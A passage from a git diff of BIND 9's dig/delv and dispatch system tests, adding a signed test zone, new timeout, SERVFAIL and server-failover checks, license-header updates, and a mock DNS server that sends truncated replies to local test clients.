  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -30,3 +32,8 @@ zone "example" {
 	type primary;
 	file "example.db";
 };
+
+zone "example.tld" {
+	type primary;
+	file "example.tld.db";
+};
diff --git a/bin/tests/system/digdelv/ns2/sign.sh b/bin/tests/system/digdelv/ns2/sign.sh
index f6310e95c3..782b7a1a24 100644
--- a/bin/tests/system/digdelv/ns2/sign.sh
+++ b/bin/tests/system/digdelv/ns2/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -25,3 +27,6 @@ grep -Ev '^;' < "$ksk.key" | cut -f 7- -d ' ' > keydata
 
 keyfile_to_initial_keys "$ksk" > ../ns3/anchor.dnskey
 keyfile_to_initial_ds "$ksk" > ../ns3/anchor.ds
+
+ksk=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone example.tld.)
+"$SIGNER" -Sz -f example.tld.db -o example.tld example.db.in > /dev/null 2>&1
diff --git a/bin/tests/system/digdelv/ns3/named.conf.in b/bin/tests/system/digdelv/ns3/named.conf.in
index 5017085f70..66bb74891f 100644
--- a/bin/tests/system/digdelv/ns3/named.conf.in
+++ b/bin/tests/system/digdelv/ns3/named.conf.in
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 options {
-	query-source address 10.53.0.3 dscp 1;
+	query-source address 10.53.0.3;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.3; };
diff --git a/bin/tests/system/digdelv/setup.sh b/bin/tests/system/digdelv/setup.sh
index aa966a40d5..92dd6bf3b2 100644
--- a/bin/tests/system/digdelv/setup.sh
+++ b/bin/tests/system/digdelv/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -18,4 +20,4 @@ copy_setports ns1/named.conf.in ns1/named.conf
 copy_setports ns2/named.conf.in ns2/named.conf
 copy_setports ns3/named.conf.in ns3/named.conf
 
-cd ns2 && $SHELL sign.sh
+cd ns1 && $SHELL sign.sh
diff --git a/bin/tests/system/digdelv/tests.sh b/bin/tests/system/digdelv/tests.sh
index a30577139a..dbcb0c4449 100644
--- a/bin/tests/system/digdelv/tests.sh
+++ b/bin/tests/system/digdelv/tests.sh
@@ -1,19 +1,21 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 # shellcheck source=conf.sh
 . ../conf.sh
 
-set -e
-
 status=0
 n=0
 
@@ -40,19 +42,18 @@ check_ttl_range() {
 
     case "$pos" in
     "3")
-    awk -v rrtype="$2" -v ttl="$3" '($4 == "IN" || $4 == "CLASS1" ) && $5 == rrtype { if ($3 <= ttl) { ok=1 } } END { exit(ok?0:1) }' < $file
+    { awk -v rrtype="$2" -v ttl="$3" '($4 == "IN" || $4 == "CLASS1" ) && $5 == rrtype { if ($3 <= ttl) { ok=1 } } END { exit(ok?0:1) }' < $file; result=$?; } || true
     ;;
     *)
-    awk -v rrtype="$2" -v ttl="$3" '($3 == "IN" || $3 == "CLASS1" ) && $4 == rrtype { if ($2 <= ttl) { ok=1 } } END { exit(ok?0:1) }' < $file
+    { awk -v rrtype="$2" -v ttl="$3" '($3 == "IN" || $3 == "CLASS1" ) && $4 == rrtype { if ($2 <= ttl) { ok=1 } } END { exit(ok?0:1) }' < $file; result=$?; } || true
     ;;
     esac
 
-   result=$?
    [ $result -eq 0 ] || echo_i "ttl check failed"
    return $result
 }
 
-# using delv insecure mode as not testing dnssec here
+# use delv insecure mode by default, as we're mostly not testing dnssec
 delv_with_opts() {
     "$DELV" +noroot -p "$PORT" "$@"
 }
@@ -101,6 +102,24 @@ if [ -x "$HOST" -a $checkupdate -eq 1 ] ; then
 
 fi
 
+if [ -x "$NSUPDATE" -a $checkupdate -eq 1 ] ; then
+
+  n=$((n+1))
+  echo_i "check nsupdate handles UPDATE response to QUERY ($n)"
+  ret=0
+  res=0
+  $NSUPDATE << EOF > nsupdate.out.test$n 2>&1 || res=$?
+server 10.53.0.7 ${PORT}
+add x.example.com 300 in a 1.2.3.4
+send
+EOF
+  test $res -eq 1 || ret=1
+  grep "invalid OPCODE in response to SOA query" nsupdate.out.test$n > /dev/null || ret=1
+  if [ $ret -ne 0 ]; then echo_i "failed"; fi
+  status=$((status+ret))
+
+fi
+
 if [ -x "$DIG" ] ; then
 
   if [ $checkupdate -eq 1 ] ; then
@@ -369,24 +388,11 @@ if [ -x "$DIG" ] ; then
   fi
 
   n=$((n+1))
-  echo_i "checking dig @IPv4addr -6 +mapped A a.example ($n)"
-  if testsock6 fd92:7065:b8e:ffff::2 2>/dev/null && [ "$(uname -s)" != "OpenBSD" ]
-  then
-    ret=0
-    dig_with_opts +tcp @10.53.0.2 -6 +mapped A a.example > dig.out.test$n 2>&1 || ret=1
-    grep "SERVER: ::ffff:10.53.0.2#$PORT" < dig.out.test$n > /dev/null || ret=1
-    if [ $ret -ne 0 ]; then echo_i "failed"; fi
-    status=$((status+ret))
-  else
-    echo_i "IPv6 or IPv4-to-IPv6 mapping unavailable; skipping"
-  fi
-
-  n=$((n+1))
-  echo_i "checking dig +tcp @IPv4addr -6 +nomapped A a.example ($n)"
+  echo_i "checking dig +tcp @IPv4addr -6 A a.example ($n)"
   if testsock6 fd92:7065:b8e:ffff::2 2>/dev/null
   then
     ret=0
-    dig_with_opts +tcp @10.53.0.2 -6 +nomapped A a.example > dig.out.test$n 2>&1 || ret=1
+    dig_with_opts +tcp @10.53.0.2 -6 A a.example > dig.out.test$n 2>&1 || ret=1
     grep "SERVER: ::ffff:10.53.0.2#$PORT" < dig.out.test$n > /dev/null && ret=1
     if [ $ret -ne 0 ]; then echo_i "failed"; fi
     status=$((status+ret))
@@ -395,11 +401,11 @@ if [ -x "$DIG" ] ; then
   fi
   n=$((n+1))
 
-  echo_i "checking dig +notcp @IPv4addr -6 +nomapped A a.example ($n)"
+  echo_i "checking dig +notcp @IPv4addr -6 A a.example ($n)"
   if testsock6 fd92:7065:b8e:ffff::2 2>/dev/null
   then
     ret=0
-    dig_with_opts +notcp @10.53.0.2 -6 +nomapped A a.example > dig.out.test$n 2>&1 || ret=1
+    dig_with_opts +notcp @10.53.0.2 -6 A a.example > dig.out.test$n 2>&1 || ret=1
     grep "SERVER: ::ffff:10.53.0.2#$PORT" < dig.out.test$n > /dev/null && ret=1
     if [ $ret -ne 0 ]; then echo_i "failed"; fi
     status=$((status+ret))
@@ -535,17 +541,6 @@ if [ -x "$DIG" ] ; then
   if [ $ret -ne 0 ]; then echo_i "failed"; fi
   status=$((status+ret))
 
-  n=$((n+1))
-  echo_i "checking dig +dscp ($n)"
-  ret=0
-  dig_with_opts @10.53.0.3 +dscp=32 a a.example > /dev/null 2>&1 || ret=1
-  dig_with_opts @10.53.0.3 +dscp=-1 a a.example > /dev/null 2>&1 && ret=1
-  dig_with_opts @10.53.0.3 +dscp=64 a a.example > /dev/null 2>&1 && ret=1
-  #TODO add a check to make sure dig is actually setting the dscp on the query
-  #we might have to add better logging to named for this
-  if [ $ret -ne 0 ]; then echo_i "failed"; fi
-  status=$((status+ret))
-
   n=$((n+1))
   echo_i "checking dig +ednsopt with option number ($n)"
   ret=0
@@ -569,7 +564,7 @@ if [ -x "$DIG" ] ; then
   ret=0
   dig_with_opts @10.53.0.3 +ednsopt=llq:0001000200001234567812345678fefefefe +qr a.example > dig.out.test$n 2>&1 || ret=1
   pat='LLQ: Version: 1, Opcode: 2, Error: 0, Identifier: 1311768465173141112, Lifetime: 4278124286$'
-  tr -d '\r' < dig.out.test$n | grep "$pat" > /dev/null || ret=1
+  grep "$pat" dig.out.test$n > /dev/null || ret=1
   if [ $ret -ne 0 ]; then echo_i "failed"; fi
   status=$((status+ret))
 
@@ -668,7 +663,7 @@ if [ -x "$DIG" ] ; then
   # First defined EDE code, additional text "foo".
   dig_with_opts @10.53.0.3 +ednsopt=ede:0000666f6f a.example +qr > dig.out.test$n 2>&1 || ret=1
   pat='^; EDE: 0 (Other): (foo)$'
-  tr -d '\r' < dig.out.test$n | grep "$pat" > /dev/null || ret=1
+  grep "$pat" dig.out.test$n > /dev/null || ret=1
   if [ $ret -ne 0 ]; then echo_i "failed"; fi
   status=$((status+ret))
 
@@ -677,7 +672,7 @@ if [ -x "$DIG" ] ; then
   # Last defined EDE code, no additional text.
   dig_with_opts @10.53.0.3 +ednsopt=ede:0018 a.example +qr > dig.out.test$n 2>&1 || ret=1
   pat='^; EDE: 24 (Invalid Data)$'
-  tr -d '\r' < dig.out.test$n | grep "$pat" > /dev/null || ret=1
+  grep "$pat" dig.out.test$n > /dev/null || ret=1
   if [ $ret -ne 0 ]; then echo_i "failed"; fi
   status=$((status+ret))
 
@@ -686,7 +681,7 @@ if [ -x "$DIG" ] ; then
   # First undefined EDE code, additional text "foo".
   dig_with_opts @10.53.0.3 +ednsopt=ede:0019666f6f a.example +qr > dig.out.test$n 2>&1 || ret=1
   pat='^; EDE: 25: (foo)$'
-  tr -d '\r' < dig.out.test$n | grep "$pat" > /dev/null || ret=1
+  grep "$pat" dig.out.test$n > /dev/null || ret=1
   if [ $ret -ne 0 ]; then echo_i "failed"; fi
   status=$((status+ret))
 
@@ -695,7 +690,7 @@ if [ -x "$DIG" ] ; then
   # EDE payload is too short
   dig_with_opts @10.53.0.3 +ednsopt=ede a.example +qr > dig.out.test$n 2>&1 || ret=1
   pat='^; EDE:$'
-  tr -d '\r' < dig.out.test$n | grep "$pat" > /dev/null || ret=1
+  grep "$pat" dig.out.test$n > /dev/null || ret=1
   if [ $ret -ne 0 ]; then echo_i "failed"; fi
   status=$((status+ret))
 
@@ -704,7 +699,7 @@ if [ -x "$DIG" ] ; then
   # EDE payload is too short
   dig_with_opts @10.53.0.3 +ednsopt=ede:00 a.example +qr > dig.out.test$n 2>&1 || ret=1
   pat='^; EDE: 00 (".")$'
-  tr -d '\r' < dig.out.test$n | grep "$pat" > /dev/null || ret=1
+  grep "$pat" dig.out.test$n > /dev/null || ret=1
   if [ $ret -ne 0 ]; then echo_i "failed"; fi
   status=$((status+ret))
 
@@ -792,7 +787,7 @@ if [ -x "$DIG" ] ; then
   ret=0
   dig_with_opts @10.53.0.3 -q -m > dig.out.test$n 2>&1
   pat='^;-m\..*IN.*A$'
-  tr -d '\r' < dig.out.test$n | grep "$pat" > /dev/null || ret=1
+  grep "$pat" dig.out.test$n > /dev/null || ret=1
   grep "Dump of all outstanding memory allocations" dig.out.test$n > /dev/null && ret=1
   if [ $ret -ne 0 ]; then echo_i "failed"; fi
   status=$((status+ret))
@@ -803,7 +798,7 @@ if [ -x "$DIG" ] ; then
   echo "no_response no_response" | sendcmd 10.53.0.5
   dig_with_opts @10.53.0.5 example AXFR +tries=2 > dig.out.test$n 2>&1 && ret=1
   # Sanity check: ensure ans5 behaves as expected.
-  [ `grep "communications error.*end of file" dig.out.test$n | wc -l` -eq 2 ] || ret=1
+  [ $(grep "communications error.*end of file" dig.out.test$n | wc -l) -eq 2 ] || ret=1
   if [ $ret -ne 0 ]; then echo_i "failed"; fi
   status=$((status+ret))
 
@@ -813,7 +808,7 @@ if [ -x "$DIG" ] ; then
   echo "partial_axfr partial_axfr" | sendcmd 10.53.0.5
   dig_with_opts @10.53.0.5 example AXFR +tries=2 > dig.out.test$n 2>&1 && ret=1
   # Sanity check: ensure ans5 behaves as expected.
-  [ `grep "communications error.*end of file" dig.out.test$n | wc -l` -eq 2 ] || ret=1
+  [ $(grep "communications error.*end of file" dig.out.test$n | wc -l) -eq 2 ] || ret=1
   if [ $ret -ne 0 ]; then echo_i "failed"; fi
   status=$((status+ret))
 
@@ -823,7 +818,7 @@ if [ -x "$DIG" ] ; then
   echo "no_response partial_axfr" | sendcmd 10.53.0.5
   dig_with_opts @10.53.0.5 example AXFR +tries=2 > dig.out.test$n 2>&1 && ret=1
   # Sanity check: ensure ans5 behaves as expected.
-  [ `grep "communications error.*end of file" dig.out.test$n | wc -l` -eq 2 ] || ret=1
+  [ $(grep "communications error.*end of file" dig.out.test$n | wc -l) -eq 2 ] || ret=1
   if [ $ret -ne 0 ]; then echo_i "failed"; fi
   status=$((status+ret))
 
@@ -833,7 +828,7 @@ if [ -x "$DIG" ] ; then
   echo "partial_axfr no_response" | sendcmd 10.53.0.5
   dig_with_opts @10.53.0.5 example AXFR +tries=2 > dig.out.test$n 2>&1 && ret=1
   # Sanity check: ensure ans5 behaves as expected.
-  [ `grep "communications error.*end of file" dig.out.test$n | wc -l` -eq 2 ] || ret=1
+  [ $(grep "communications error.*end of file" dig.out.test$n | wc -l) -eq 2 ] || ret=1
   if [ $ret -ne 0 ]; then echo_i "failed"; fi
   status=$((status+ret))
 
@@ -843,7 +838,7 @@ if [ -x "$DIG" ] ; then
   echo "no_response complete_axfr" | sendcmd 10.53.0.5
   dig_with_opts @10.53.0.5 example AXFR +tries=2 > dig.out.test$n 2>&1 || ret=1
   # Sanity check: ensure ans5 behaves as expected.
-  [ `grep "communications error.*end of file" dig.out.test$n | wc -l` -eq 1 ] || ret=1
+  [ $(grep "communications error.*end of file" dig.out.test$n | wc -l) -eq 1 ] || ret=1
   if [ $ret -ne 0 ]; then echo_i "failed"; fi
   status=$((status+ret))
 
@@ -853,7 +848,7 @@ if [ -x "$DIG" ] ; then
   echo "partial_axfr complete_axfr" | sendcmd 10.53.0.5
   dig_with_opts @10.53.0.5 example AXFR +tries=2 > dig.out.test$n 2>&1 || ret=1
   # Sanity check: ensure ans5 behaves as expected.
-  [ `grep "communications error.*end of file" dig.out.test$n | wc -l` -eq 1 ] || ret=1
+  [ $(grep "communications error.*end of file" dig.out.test$n | wc -l) -eq 1 ] || ret=1
   if [ $ret -ne 0 ]; then echo_i "failed"; fi
   status=$((status+ret))
 
@@ -863,7 +858,7 @@ if [ -x "$DIG" ] ; then
   echo "no_response no_response" | sendcmd 10.53.0.5
   dig_with_opts @10.53.0.5 example AXFR +tries=1 > dig.out.test$n 2>&1 && ret=1
   # Sanity check: ensure ans5 behaves as expected.
-  [ `grep "communications error.*end of file" dig.out.test$n | wc -l` -eq 1 ] || ret=1
+  [ $(grep "communications error.*end of file" dig.out.test$n | wc -l) -eq 1 ] || ret=1
   if [ $ret -ne 0 ]; then echo_i "failed"; fi
   status=$((status+ret))
 
@@ -872,7 +867,7 @@ if [ -x "$DIG" ] ; then
   ret=0
   dig_with_opts @10.53.0.5 example AXFR +retry=0 > dig.out.test$n 2>&1 && ret=1
   # Sanity check: ensure ans5 behaves as expected.
-  [ `grep "communications error.*end of file" dig.out.test$n | wc -l` -eq 1 ] || ret=1
+  [ $(grep "communications error.*end of file" dig.out.test$n | wc -l) -eq 1 ] || ret=1
   if [ $ret -ne 0 ]; then echo_i "failed"; fi
   status=$((status+ret))
 
@@ -906,7 +901,7 @@ if [ -x "$DIG" ] ; then
   ret=0
   dig_with_opts @10.53.0.3 +short +expandaaaa AAAA ns2.example > dig.out.test$n 2>&1 || ret=1
   pat='^fd92:7065:0b8e:ffff:0000:0000:0000:0002$'
-  tr -d '\r' < dig.out.test$n | grep "$pat" > /dev/null || ret=1
+  grep "$pat" dig.out.test$n > /dev/null || ret=1
   if [ $ret -ne 0 ]; then echo_i "failed"; fi
   status=$((status+ret))
 
@@ -950,8 +945,8 @@ if [ -x "$DIG" ] ; then
   echo_i "check that dig +bufsize restores default bufsize ($n)"
   ret=0
   dig_with_opts @10.53.0.3 a.example +bufsize=0 +bufsize +qr > dig.out.test$n 2>&1 || ret=1
-  lines=`grep "EDNS:.* udp:" dig.out.test$n | wc -l`
-  lines1232=`grep "EDNS:.* udp: 1232" dig.out.test$n | wc -l`
+  lines=$(grep "EDNS:.* udp:" dig.out.test$n | wc -l)
+  lines1232=$(grep "EDNS:.* udp: 1232" dig.out.test$n | wc -l)
   test $lines -eq 2 || ret=1
   test $lines1232 -eq 2 || ret=1
   if [ $ret -ne 0 ]; then echo_i "failed"; fi
@@ -991,6 +986,116 @@ if [ -x "$DIG" ] ; then
   if [ $ret -ne 0 ]; then echo_i "failed"; fi
   status=$((status+ret))
 
+  # See [GL #3020] for more information
+  n=$((n+1))
+  echo_i "check that dig handles UDP timeout followed by a SERVFAIL correctly ($n)"
+  # Ask ans8 to be in "unstable" mode (switching between "silent" and "servfail" modes)
+  echo "unstable" | sendcmd 10.53.0.8
+  ret=0
+  dig_with_opts +timeout=1 +nofail @10.53.0.8 a.example > dig.out.test$n 2>&1 || ret=1
+  grep -F "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+  if [ $ret -ne 0 ]; then echo_i "failed"; fi
+  status=$((status+ret))
+
+  n=$((n+1))
+  echo_i "check that dig handles TCP timeout followed by a SERVFAIL correctly ($n)"
+  # Ask ans8 to be in "unstable" mode (switching between "silent" and "servfail" modes)
+  echo "unstable" | sendcmd 10.53.0.8
+  ret=0
+  dig_with_opts +timeout=1 +nofail +tcp @10.53.0.8 a.example > dig.out.test$n 2>&1 || ret=1
+  grep -F "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+  if [ $ret -ne 0 ]; then echo_i "failed"; fi
+  status=$((status+ret))
+
+  n=$((n+1))
+  echo_i "check that dig tries the next server after a UDP socket network unreachable error ($n)"
+  ret=0
+  dig_with_opts @192.0.2.128 @10.53.0.3 a.example > dig.out.test$n 2>&1 || ret=1
+  test $(grep -F -e "connection refused" -e "timed out" -e "network unreachable" -e "host unreachable" dig.out.test$n | wc -l) -eq 3 || ret=1
+  grep -F "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+  if [ $ret -ne 0 ]; then echo_i "failed"; fi
+  status=$((status+ret))
+
+  n=$((n+1))
+  echo_i "check that dig tries the next server after a TCP socket network unreachable error ($n)"
+  ret=0
+  dig_with_opts +tcp @192.0.2.128 @10.53.0.3 a.example > dig.out.test$n 2>&1 || ret=1
+  test $(grep -F -e "connection refused" -e "timed out" -e "network unreachable" -e "host unreachable" dig.out.test$n | wc -l) -eq 3 || ret=1
+  grep -F "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+  if [ $ret -ne 0 ]; then echo_i "failed"; fi
+  status=$((status+ret))
+
+  n=$((n+1))
+  echo_i "check that dig tries the next server after a UDP socket read error ($n)"
+  ret=0
+  dig_with_opts @10.53.0.99 @10.53.0.3 a.example > dig.out.test$n 2>&1 || ret=1
+  grep -F "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+  if [ $ret -ne 0 ]; then echo_i "failed"; fi
+  status=$((status+ret))
+
+  n=$((n+1))
+  echo_i "check that dig tries the next server after a TCP socket read error ($n)"
+  # Ask ans8 to be in "close" mode, which closes the connection after accepting it
+  echo "close" | sendcmd 10.53.0.8
+  ret=0
+  dig_with_opts +tcp @10.53.0.8 @10.53.0.3 a.example > dig.out.test$n 2>&1 || ret=1
+  grep -F "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+  if [ $ret -ne 0 ]; then echo_i "failed"; fi
+  status=$((status+ret))
+
+  # Note that we combine TCP socket "connection error" and "timeout" cases in
+  # one, because it is not trivial to simulate the timeout case in a system test
+  # in Linux without a firewall, but the code which handles error cases during
+  # the connection establishment time does not differentiate between timeout and
+  # other types of errors (unlike during reading), so this one check should be
+  # sufficient for both cases.
+  n=$((n+1))
+  echo_i "check that dig tries the next server after a TCP socket connection error/timeout ($n)"
+  ret=0
+  dig_with_opts +tcp @10.53.0.99 @10.53.0.3 a.example > dig.out.test$n 2>&1 || ret=1
+  test $(grep -F -e "connection refused" -e "timed out" -e "network unreachable" dig.out.test$n | wc -l) -eq 3 || ret=1
+  grep -F "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+  if [ $ret -ne 0 ]; then echo_i "failed"; fi
+  status=$((status+ret))
+
+  n=$((n+1))
+  echo_i "check that dig tries the next server after UDP socket read timeouts ($n)"
+  # Ask ans8 to be in "silent" mode
+  echo "silent" | sendcmd 10.53.0.8
+  ret=0
+  dig_with_opts +timeout=1 @10.53.0.8 @10.53.0.3 a.example > dig.out.test$n 2>&1 || ret=1
+  grep -F "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+  if [ $ret -ne 0 ]; then echo_i "failed"; fi
+  status=$((status+ret))
+
+  n=$((n+1))
+  echo_i "check that dig tries the next server after TCP socket read timeouts ($n)"
+  # Ask ans8 to be in "silent" mode
+  echo "silent" | sendcmd 10.53.0.8
+  ret=0
+  dig_with_opts +timeout=1 +tcp @10.53.0.8 @10.53.0.3 a.example > dig.out.test$n 2>&1 || ret=1
+  grep -F "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+  if [ $ret -ne 0 ]; then echo_i "failed"; fi
+  status=$((status+ret))
+
+  # See [GL #3248] for more information
+  n=$((n+1))
+  echo_i "check that dig correctly refuses to use a server with a IPv4 mapped IPv6 address after failing with a regular IP address ($n)"
+  ret=0
+  dig_with_opts @10.53.0.8 @::ffff:10.53.0.8 a.example > dig.out.test$n 2>&1 || ret=1
+  grep -F ";; Skipping mapped address" dig.out.test$n > /dev/null || ret=1
+  grep -F ";; No acceptable nameservers" dig.out.test$n > /dev/null || ret=1
+  if [ $ret -ne 0 ]; then echo_i "failed"; fi
+  status=$((status+ret))
+
+  # See [GL #3244] for more information
+  n=$((n+1))
+  echo_i "check that dig handles printing query information with +qr and +y when multiple queries are involved (including a failed query) ($n)"
+  ret=0
+  dig_with_opts +timeout=1 +qr +y @127.0.0.1 @10.53.0.3 a.example > dig.out.test$n 2>&1 || ret=1
+  grep -F "IN A 10.0.0.1" dig.out.test$n > /dev/null || ret=1
+  if [ $ret -ne 0 ]; then echo_i "failed"; fi
+  status=$((status+ret))
 else
   echo_i "$DIG is needed, so skipping these dig tests"
 fi
@@ -1276,7 +1381,7 @@ if [ -x "$DELV" ] ; then
     n=$((n+1))
     echo_i "check delv +yaml output ($n)"
     ret=0
-    delv_with_opts +yaml @10.53.0.3 any ns2.example > delv.out.test$n 2>&1 || ret=1
+    delv_with_opts +yaml @10.53.0.3 any ns2.example > delv.out.test$n || ret=1
     $PYTHON yamlget.py delv.out.test$n status > yamlget.out.test$n 2>&1 || ret=1
     read -r value < yamlget.out.test$n
     [ "$value" = "success" ] || ret=1
@@ -1290,6 +1395,55 @@ if [ -x "$DELV" ] ; then
     if [ $ret -ne 0 ]; then echo_i "failed"; fi
     status=$((status+ret))
   fi
+
+  n=$((n+1))
+  echo_i "check that delv handles REFUSED when chasing DS records ($n)"
+  delv_with_opts @10.53.0.2 +root xxx.example.tld A > delv.out.test$n 2>&1 || ret=1
+  grep ";; resolution failed: broken trust chain" delv.out.test$n > /dev/null || ret=1
+  if [ $ret -ne 0 ]; then echo_i "failed"; fi
+  status=$((status+ret))
+
+  n=$((n+1))
+  echo_i "check NS output from delv +ns ($n)"
+  delv_with_opts -i +ns +nortrace +nostrace +nomtrace +novtrace +hint=../common/root.hint ns example > delv.out.test$n || ret=1
+  lines=$(awk '$1 == "example." && $4 == "NS" {print}' delv.out.test$n | wc -l)
+  [ $lines -eq 2 ] || ret=1
+  status=$((status+ret))
+
+  n=$((n+1))
+  echo_i "checking delv +ns (no validation) ($n)"
+  ret=0
+  delv_with_opts -i +ns +hint=../common/root.hint a a.example > delv.out.test$n || ret=1
+  grep -q '; authoritative' delv.out.test$n || ret=1
+  grep -q '_.example' delv.out.test$n && ret=1
+  if [ $ret -ne 0 ]; then echo_i "failed"; fi
+  status=$((status+ret))
+
+  n=$((n+1))
+  echo_i "checking delv +ns +qmin (no validation) ($n)"
+  ret=0
+  delv_with_opts -i +ns +qmin +hint=../common/root.hint a a.example > delv.out.test$n || ret=1
+  grep -q '; authoritative' delv.out.test$n || ret=1
+  if [ $ret -ne 0 ]; then echo_i "failed"; fi
+  status=$((status+ret))
+
+  n=$((n+1))
+  echo_i "checking delv +ns (with validation) ($n)"
+  ret=0
+  delv_with_opts -a ns1/anchor.dnskey +root +ns +hint=../common/root.hint a a.example > delv.out.test$n || ret=1
+  grep -q '; fully validated' delv.out.test$n || ret=1
+  grep -q '_.example' delv.out.test$n && ret=1
+  if [ $ret -ne 0 ]; then echo_i "failed"; fi
+  status=$((status+ret))
+
+  n=$((n+1))
+  echo_i "checking delv +ns +qmin (with validation) ($n)"
+  ret=0
+  delv_with_opts -a ns1/anchor.dnskey +root +ns +qmin +hint=../common/root.hint a a.example > delv.out.test$n || ret=1
+  grep -q '; fully validated' delv.out.test$n || ret=1
+  if [ $ret -ne 0 ]; then echo_i "failed"; fi
+  status=$((status+ret))
+
 else
   echo_i "$DELV is needed, so skipping these delv tests"
 fi
diff --git a/bin/tests/system/digdelv/tests_sh_digdelv.py b/bin/tests/system/digdelv/tests_sh_digdelv.py
new file mode 100644
index 0000000000..2973c26a9f
--- /dev/null
+++ b/bin/tests/system/digdelv/tests_sh_digdelv.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_digdelv(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/digdelv/yamlget.py b/bin/tests/system/digdelv/yamlget.py
index 60b14cb2d4..afa582dd9c 100644
--- a/bin/tests/system/digdelv/yamlget.py
+++ b/bin/tests/system/digdelv/yamlget.py
@@ -1,25 +1,24 @@
-############################################################################
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
-############################################################################
 
 import sys
 
 try:
     import yaml
-# flake8: noqa: E722
 # pylint: disable=bare-except
 except:
     print("No python yaml module, skipping")
     sys.exit(1)
 
-with open(sys.argv[1], "r") as f:
+with open(sys.argv[1], "r", encoding="utf-8") as f:
     for item in yaml.safe_load_all(f):
         for key in sys.argv[2:]:
             try:
diff --git a/bin/tests/system/dispatch/ans3/ans.py b/bin/tests/system/dispatch/ans3/ans.py
new file mode 100644
index 0000000000..4e4ebacb0b
--- /dev/null
+++ b/bin/tests/system/dispatch/ans3/ans.py
@@ -0,0 +1,99 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+import os
+import select
+import signal
+import socket
+import sys
+import time
+
+import dns.flags
+import dns.message
+
+
+def port():
+    env_port = os.getenv("PORT")
+    if env_port is None:
+        env_port = 5300
+    else:
+        env_port = int(env_port)
+
+    return env_port
+
+
+def udp_listen(port):
+    udp = socket.socket(type=socket.SOCK_DGRAM)
+    udp.bind(("10.53.0.3", port))
+
+    return udp
+
+
+def tcp_listen(port):
+    tcp = socket.socket(type=socket.SOCK_STREAM)
+    tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+    tcp.bind(("10.53.0.3", port))
+    tcp.listen(100)
+
+    return tcp
+
+
+def udp_tc_once(udp):
+    qrybytes, clientaddr = udp.recvfrom(65535)
+    qry = dns.message.from_wire(qrybytes)
+    answ = dns.message.make_response(qry)
+    answ.flags |= dns.flags.TC
+    answbytes = answ.to_wire()
+    udp.sendto(answbytes, clientaddr)
+
+
+def tcp_once(tcp):
+    csock, _clientaddr = tcp.accept()
+    time.sleep(5)
+    csock.close()
+
+
+def sigterm(signum, frame):
+    os.remove("ans.pid")
+    sys.exit(0)
+
+
+def write_pid():
+    with open("ans.pid", "w") as f:
+        pid = os.getpid()
+        f.write("{}".format(pid))
+
+
+signal.signal(signal.SIGTERM, sigterm)
